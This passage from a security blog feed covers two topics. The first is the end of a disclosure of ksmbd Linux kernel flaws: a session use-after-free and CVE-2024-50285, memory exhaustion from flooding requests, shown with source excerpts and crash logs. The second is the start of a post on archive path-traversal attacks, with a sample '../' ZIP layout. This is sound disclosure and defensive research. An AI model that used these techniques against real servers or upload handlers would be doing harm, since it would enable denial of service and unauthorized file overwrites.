&lt;p&gt;The vulnerability was introduced in the commit &lt;a href=&quot;https://github.com/torvalds/linux/commit/7aa8804c0b67b3cb263a472d17f2cb50d7f1a930&quot;&gt;7aa8804c0b&lt;/a&gt;, when implementing the reference count for sessions to avoid UAF:&lt;/p&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;// https://github.com/torvalds/linux/blob/7aa8804c0b67b3cb263a472d17f2cb50d7f1a930/fs/smb/server/server.c&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;send&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;:&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;work&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sess&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
		&lt;span class=&quot;n&quot;&gt;ksmbd_user_session_put&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;work&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sess&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;work&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;tcon&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
		&lt;span class=&quot;n&quot;&gt;ksmbd_tree_connect_put&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;work&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;tcon&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;smb3_preauth_hash_rsp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;work&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// [8]&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;work&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sess&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;work&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sess&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;enc&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;work&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;encrypted&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt;
	    &lt;span class=&quot;n&quot;&gt;conn&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ops&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;encrypt_resp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
		&lt;span class=&quot;n&quot;&gt;rc&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;conn&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ops&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;encrypt_resp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;work&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
		&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;rc&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
			&lt;span class=&quot;n&quot;&gt;conn&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ops&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;set_rsp_status&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;work&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;STATUS_DATA_ERROR&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
	&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

	&lt;span class=&quot;n&quot;&gt;ksmbd_conn_write&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;work&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Here, the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ksmbd_user_session_put&lt;/code&gt; decrements the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sess-&amp;gt;refcnt&lt;/code&gt; and if the value reaches zero, the kernel is permitted to free the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sess&lt;/code&gt; object (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;[7]&lt;/code&gt;):&lt;/p&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;// https://github.com/torvalds/linux/blob/7aa8804c0b67b3cb263a472d17f2cb50d7f1a930/fs/smb/server/mgmt/user_session.c#L296&lt;/span&gt;
&lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;ksmbd_user_session_put&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ksmbd_session&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sess&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sess&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
		&lt;span class=&quot;k&quot;&gt;return&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

	&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;atomic_read&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sess&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;refcnt&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
		&lt;span class=&quot;n&quot;&gt;WARN_ON&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;else&lt;/span&gt;
		&lt;span class=&quot;n&quot;&gt;atomic_dec&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sess&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;refcnt&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// [7]&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;smb3_preauth_hash_rsp&lt;/code&gt; function (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;[8]&lt;/code&gt;) that follows accesses the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sess&lt;/code&gt; object without verifying if it has been freed (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;[9]&lt;/code&gt;):&lt;/p&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;// https://github.com/torvalds/linux/blob/7aa8804c0b67b3cb263a472d17f2cb50d7f1a930/fs/smb/server/smb2pdu.c#L8859&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;le16_to_cpu&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;rsp&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Command&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;SMB2_SESSION_SETUP_HE&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sess&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
		&lt;span class=&quot;n&quot;&gt;__u8&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;hash_value&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

		&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;conn&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;binding&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
			&lt;span class=&quot;k&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;preauth_session&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;preauth_sess&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

			&lt;span class=&quot;n&quot;&gt;preauth_sess&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ksmbd_preauth_session_lookup&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;conn&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sess&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;id&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
			&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;preauth_sess&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
				&lt;span class=&quot;k&quot;&gt;return&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
			&lt;span class=&quot;n&quot;&gt;hash_value&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;preauth_sess&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Preauth_HashValue&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
		&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
			&lt;span class=&quot;n&quot;&gt;hash_value&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sess&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Preauth_HashValue&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// [9]&lt;/span&gt;
			&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;hash_value&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
				&lt;span class=&quot;k&quot;&gt;return&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
		&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
		&lt;span class=&quot;n&quot;&gt;ksmbd_gen_preauth_integrity_hash&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;conn&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;work&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;response_buf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
						 &lt;span class=&quot;n&quot;&gt;hash_value&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
	&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This can result in a use-after-free (UAF) condition when accessing the freed object, as detected by KASAN:&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;BUG: KASAN: slab-use-after-free in smb3_preauth_hash_rsp (fs/smb/server/smb2pdu.c:8875) 
Read of size 8 at addr ffff88812f5c8c38 by task kworker/0:9/308
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;cve-2024-50285-ksmbd-check-outstanding-simultaneous-smb-operations&quot;&gt;CVE-2024-50285: ksmbd: check outstanding simultaneous SMB operations&lt;/h2&gt;

&lt;p&gt;After reporting the bugs and confirming the fix, we identified another issue when sending a large number of packets. Each time &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;queue_ksmbd_work&lt;/code&gt; is invoked during a socket connection, it allocates data through &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ksmbd_alloc_work_struct&lt;/code&gt;&lt;/p&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;// https://elixir.bootlin.com/linux/v6.11/source/fs/smb/server/ksmbd_work.c#L21&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ksmbd_work&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;ksmbd_alloc_work_struct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ksmbd_work&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;work&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;kmem_cache_zalloc&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;work_cache&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;GFP_KERNEL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;// ..&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;In SMB, credits are designed to control the number of requests a client can send. However, the affected code executed before enforcing the credit limits.&lt;/p&gt;

&lt;p&gt;After approximately two minutes of sending these packets through a remote socket, the system consistently encountered a kernel panic and restarted:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;[  287.957806] Out of memory and no killable processes...
[  287.957813] Kernel panic - not syncing: System is deadlocked on memory
[  287.957824] CPU: 2 UID: 0 PID: 2214 Comm: ksmbd:52086 Tainted: G    B              6.12.0-rc5-00181-g6c52d4da1c74-dirty #26
[  287.957848] Tainted: [B]=BAD_PAGE
[  287.957854] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.15.0-1 04/01/2014
[  287.957863] Call Trace:
[  287.957869]  &amp;lt;TASK&amp;gt;
[  287.957876] dump_stack_lvl (lib/dump_stack.c:124 (discriminator 1)) 
[  287.957895] panic (kernel/panic.c:354) 
[  287.957913] ? __pfx_panic (kernel/panic.c:288) 
[  287.957932] ? out_of_memory (mm/oom_kill.c:1170) 
[  287.957964] ? out_of_memory (mm/oom_kill.c:1169) 
[  287.957989] out_of_memory (mm/oom_kill.c:74 mm/oom_kill.c:1169) 
[  287.958014] ? mutex_trylock (./arch/x86/include/asm/atomic64_64.h:101 ./include/linux/atomic/atomic-arch-fallback.h:4296 ./include/linux/atomic/atomic-long.h:1482 ./include/linux/atomic/atomic-instrumented.h:4458 kernel/locking/mutex.c:129 kernel/locking/mutex.c:152 kernel/locking/mutex.c:1092) 
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The reason was that the ksmbd kept creating threads, and after forking more than 2000 threads, the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ksmbd_work_cache&lt;/code&gt; depleted available memory.&lt;/p&gt;

&lt;p&gt;This could be confirmed by using &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;slabstat&lt;/code&gt; or inspecting &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/proc/slabinfo&lt;/code&gt;. The number of active objects steadily increased, eventually exhausting kernel memory and causing the system to restart:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;# ps auxww | grep -i ksmbd | wc -l
2069

# head -2 /proc/slabinfo; grep ksmbd_work_cache /proc/slabinfo
slabinfo - version: 2.1
# name            &amp;lt;active_objs&amp;gt; &amp;lt;num_objs&amp;gt; &amp;lt;objsize&amp;gt; &amp;lt;objperslab&amp;gt; &amp;lt;pagesperslab&amp;gt; : tunables &amp;lt;limit&amp;gt; &amp;lt;batchcount&amp;gt; &amp;lt;sharedfactor&amp;gt; : slabdata &amp;lt;active_slabs&amp;gt; &amp;lt;num_slabs&amp;gt; &amp;lt;sharedavail&amp;gt;
ksmbd_work_cache  16999731 16999731    384   21    2 : tunables    0    0    0 : slabdata 809511 809511      0
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This issue was not identified by syzkaller but was uncovered through manual testing with the triggering code.&lt;/p&gt;

&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;

&lt;p&gt;Even though syzkaller identified and triggered two of the vulnerabilities, it failed to generate a reproducer, requiring manual analysis of the crash reports. These issues were accessible without authentication and further improvements in fuzzing are likely to uncover additional bugs either from complex locking mechanisms that are difficult to implement correctly or other factors. Due to time constraints, we did not attempt to create a fully working exploit for the UAF.&lt;/p&gt;

&lt;h2 id=&quot;references&quot;&gt;References&lt;/h2&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://lore.kernel.org/linux-cve-announce/2024111944-CVE-2024-50283-3aad@gregkh/&quot;&gt;https://lore.kernel.org/linux-cve-announce/2024111944-CVE-2024-50283-3aad@gregkh/&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://lore.kernel.org/linux-cve-announce/2024111948-CVE-2024-50286-85e9@gregkh/&quot;&gt;https://lore.kernel.org/linux-cve-announce/2024111948-CVE-2024-50286-85e9@gregkh/&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://lore.kernel.org/linux-cve-announce/2024111946-CVE-2024-50285-6013@gregkh/&quot;&gt;https://lore.kernel.org/linux-cve-announce/2024111946-CVE-2024-50285-6013@gregkh/&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://ubuntu.com/security/CVE-2024-50283&quot;&gt;https://ubuntu.com/security/CVE-2024-50283&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://ubuntu.com/security/CVE-2024-50286&quot;&gt;https://ubuntu.com/security/CVE-2024-50286&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://ubuntu.com/security/CVE-2024-50285&quot;&gt;https://ubuntu.com/security/CVE-2024-50285&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

</content>
 </entry>
 
 <entry>
   <title>Unsafe Archive Unpacking: Labs and Semgrep Rules</title>
   <link href="https://blog.doyensec.com/2024/12/16/unsafe-unpacking.html"/>
   <updated>2024-12-16T00:00:00+01:00</updated>
   <id>https://blog.doyensec.com/2024/12/16/unsafe-unpacking</id>
   <content type="html">&lt;h2 id=&quot;introduction&quot;&gt;Introduction&lt;/h2&gt;

&lt;p&gt;During my recent internship with Doyensec, I had the opportunity to research &lt;strong&gt;decompression attacks&lt;/strong&gt; across different programming languages. As the use of archive file formats is widespread in software development, it is crucial for developers to understand the potential security risks involved in handling these files.&lt;/p&gt;

&lt;p&gt;The objective of my research was to identify, analyze, and detect vulnerable implementations in several popular programming languages used for web and app development, including Python, Ruby, Swift, Java, PHP, and JavaScript. These languages have libraries for archive decompression that, when used improperly, may potentially lead to vulnerabilities.&lt;/p&gt;

&lt;p&gt;To demonstrate the risk of unsafe unpacking, I created proof-of-concept (PoC) code with different vulnerable implementations for each method and each language. My work also focused on safe alternatives for each one of the vulnerable implementations. Additionally, I created a web application to upload and test whether the code used in a specific implementation is safe or not.&lt;/p&gt;

&lt;p&gt;To efficiently search for vulnerabilities on larger codebases, I used a popular SAST (Static Application Security Testing) tool - &lt;a href=&quot;https://semgrep.dev/index.html&quot;&gt;Semgrep&lt;/a&gt;. Specifically, I wrote a set of rules to automatically detect those vulnerable implementations which it will make it easier to identify vulnerabilities.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Secure and insecure code, labs and Semgrep rules for all programming languages have been published on&lt;/strong&gt; &lt;a href=&quot;https://github.com/doyensec/Unsafe-Unpacking&quot;&gt;https://github.com/doyensec/Unsafe-Unpacking&lt;/a&gt;.&lt;/p&gt;

&lt;h2 id=&quot;understanding-archive-path-traversal&quot;&gt;Understanding Archive Path Traversal&lt;/h2&gt;

&lt;p&gt;Extracting an archive (e.g., a ZIP file) usually involves reading all its contents and writing them to the specified extraction path. An archive path traversal aims to extract files to directories that are outside the intended extraction path.&lt;/p&gt;

&lt;p&gt;This can occur when archive extraction is improperly handled, as archives may contain files with filenames referencing parent directories (e.g., using &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;../&lt;/code&gt;). If not properly checked, these sequences may cause the extraction to occur outside the intended directory.&lt;/p&gt;

&lt;p&gt;For example, consider a ZIP file with the following structure:&lt;/p&gt;

&lt;div class=&quot;language-js highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;malicious&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;foo&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;txt&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;foo&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;py&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;..&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;imbad&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;txt&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;When unzipping the archive to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/home/output&lt;/code&gt;, if the extraction method does not validate or sanitize the file paths, the contents may be written to the following locations:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;/home/output/foo.txt
/home/output/foo.py
/home/imbad.txt
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;As a result, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;imbad.txt&lt;/code&gt; would be written outside the intended directory. If the vulnerable program runs with high privileges, this could also allow the attacker to overwrite sensitive files, such as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/etc/passwd&lt;/code&gt; – where Unix-based systems store user account information.&lt;/p&gt;

&lt;h2 id=&quot;proving-the-concept-code-examples&quot;&gt;Proving the Concept: Code Examples&lt;/h2&gt;

&lt;p&gt;To demonstrate the vulnerability, I created several proof-of-concept examples in various programming languages. These code snippets showcase vulnerable implementations where the archive extraction is improperly handled.&lt;/p&gt;

&lt;h3 id=&quot;python&quot;&gt;Python&lt;/h3&gt;

